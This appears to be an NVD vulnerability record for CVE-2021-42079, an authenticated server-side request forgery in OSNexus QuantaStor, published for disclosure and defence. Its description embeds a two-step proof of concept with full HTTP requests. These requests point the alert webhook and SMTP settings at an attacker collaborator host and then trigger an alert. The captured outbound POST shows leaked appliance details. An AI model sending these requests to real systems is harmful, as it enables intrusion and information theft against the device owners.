{"resultsPerPage":1,"startIndex":0,"totalResults":1,"format":"NVD_CVE","version":"2.0","timestamp":"2026-05-04T18:31:05.425","vulnerabilities":[{"cve":{"id":"CVE-2021-42079","sourceIdentifier":"csirt@divd.nl","published":"2023-07-10T16:15:47.467","lastModified":"2025-09-22T07:15:38.950","vulnStatus":"Modified","cveTags":[],"descriptions":[{"lang":"en","value":"An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>\nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test&message=test&severity=1 \nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by <TARGET> looks like this:\n{\n \n### Python FLASK stuff ####\n\n 'endpoint': 'index', \n \n'method': 'POST', \n \n'cookies': ImmutableMultiDict([]), \n \n### END Python FLASK stuff ####\n\n \n'data': b'{ \n  \"attachments\": [ \n   {\n\n    \"fallback\": \"[122] test / test.\",\n\n    \"color\": \"#aa2222\",\n\n    \"title\": \"[122] test\",\n\n    \"text\": \"test\",\n\n    \"fields\": [   \n     {    \n\n      \"title\": \"Alert Severity\",\n        \n      \"value\": \"CRITICAL\",\n        \n      \"short\": false  \n     },  {   \n      \"title\": \"Appliance\",     \n      \"value\": \"quantastor (https://<HOSTNAME>)\",\n      \n      \"short\": true  \n\n     },  {    \n\n      \"title\": \"System / Driver / Kernel Ver\",    \n\n      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\",    \n\n      \"short\": false  \n\n     },  {    \n\n      \"title\": \"System Startup\",    \n\n      \"value\": \"Fri Aug  6 16-02-55 2021\",    \n\n      \"short\": true  \n\n          },  {    \n\n      \"title\": \"SSID\",    \n\n      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\",    \n\n      \"short\": true  \n\n     },\n    ],\n\n    \"footer\": \"QuantaStor Call-home Alert\",\n\n    \"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n    \"ts\": 1628461774\n   }\n  ], \n  \"mrkdwn\":true \n }', \n #### FLASK REQUEST STUFF #####\n\n 'headers': {\n\n  'Host': '<redacted>', \n  'User-Agent': 'curl/7.58.0', \n  'Accept': '*/*', \n  'Content-Type': 'application/json', \n  'Content-Length': '790'\n\n }, \n 'args': ImmutableMultiDict([]), \n 'form': ImmutableMultiDict([]), \n 'remote_addr': '217.103.63.173', \n 'path': '/payload/58', \n 'whois_ip': 'TNF-AS, NL'\n}\n\n#### END FLASK REQUEST STUFF #####"}],"metrics":{"cvssMetricV31":[{"source":"csirt@divd.nl","type":"Secondary","cvssData":{"version":"3.1","vectorString":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N","baseScore":6.2,"baseSeverity":"MEDIUM","attackVector":"NETWORK","attackComplexity":"LOW","privilegesRequired":"HIGH","userInteraction":"REQUIRED","scope":"CHANGED","confidentialityImpact":"HIGH","integrityImpact":"NONE","availabilityImpact":"NONE"},"exploitabilityScore":1.7,"impactScore":4.0},{"source":"nvd@nist.gov","type":"Primary","cvssData":{"version":"3.1","vectorString":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N","baseScore":4.9,"baseSeverity":"MEDIUM","attackVector":"NETWORK","attackComplexity":"LOW","privilegesRequired":"HIGH","userInteraction":"NONE","scope":"UNCHANGED","confidentialityImpact":"HIGH","integrityImpact":"NONE","availabilityImpact":"NONE"},"exploitabilityScore":1.2,"impactScore":3.6}]},"weaknesses":[{"source":"csirt@divd.nl","type":"Secondary","description":[{"lang":"en","value":"CWE-918"}]},{"source":"nvd@nist.gov","type":"Primary","description":[{"lang":"en","value":"CWE-918"}]}],"configurations":[{"nodes":[{"operator":"OR","negate":false,"cpeMatch":[{"vulnerable":true,"criteria":"cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*","versionEndExcluding":"6.0.0.355","matchCriteriaId":"5E101217-36C7-4C28-8C61-7744481D2D0E"}]}]}],"references":[{"url":"https://cisrt.divd.nl/DIVD-2021-00020/","source":"csirt@divd.nl"},{"url":"https://csirt.divd.nl/CVE-2021-42079","source":"csirt@divd.nl","tags":["Third Party Advisory"]},{"url":"https://www.osnexus.com/products/software-defined-storage","source":"csirt@divd.nl","tags":["Product"]},{"url":"https://www.wbsec.nl/osnexus","source":"csirt@divd.nl","tags":["Third Party Advisory"]},{"url":"https://csirt.divd.nl/CVE-2021-42079","source":"af854a3a-2127-422b-91ae-364da2661108","tags":["Third Party Advisory"]},{"url":"https://www.divd.nl/DIVD-2021-00020","source":"af854a3a-2127-422b-91ae-364da2661108"},{"url":"https://www.osnexus.com/products/software-defined-storage","source":"af854a3a-2127-422b-91ae-364da2661108","tags":["Product"]},{"url":"https://www.wbsec.nl/osnexus","source":"af854a3a-2127-422b-91ae-364da2661108","tags":["Third Party Advisory"]}]}}]}